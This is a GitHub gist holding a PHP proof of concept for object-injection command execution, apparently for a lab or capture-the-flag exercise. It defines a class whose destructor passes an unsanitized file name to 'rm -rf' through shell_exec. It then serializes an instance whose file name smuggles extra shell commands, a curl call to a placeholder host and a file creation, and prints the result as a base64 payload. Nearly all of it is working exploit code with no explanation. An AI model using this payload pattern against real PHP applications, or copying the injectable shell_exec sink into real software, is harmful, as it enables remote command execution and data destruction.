Skip to content

Instantly share code, notes, and snippets.

@RKursatV
Last active May 14, 2020 21:20
Show Gist options
  • Save RKursatV/22450be5e35f141193d7a90fb9097825 to your computer and use it in GitHub Desktop.
Save RKursatV/22450be5e35f141193d7a90fb9097825 to your computer and use it in GitHub Desktop.
<?php
class Dosya {
public $files = "";
function __destruct() {
$dosya = explode(".",strtolower($this->files));
if(end($dosya) === "txt"){
$ac = file($this->files);
if($ac[0] === trim("istekler")){
}else {
shell_exec("rm -rf ".$this->files);
}
}else {
}
}
function set_files($name) {
$this->files = $name;
}
function result(){
return file($this->files);
}
}
$a = new Dosya();
$a->set_files("silmebeni; curl -H 'X-Status: Awesome' https://test-url/; touch gereksiz.txt");
echo base64_encode(serialize($a));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment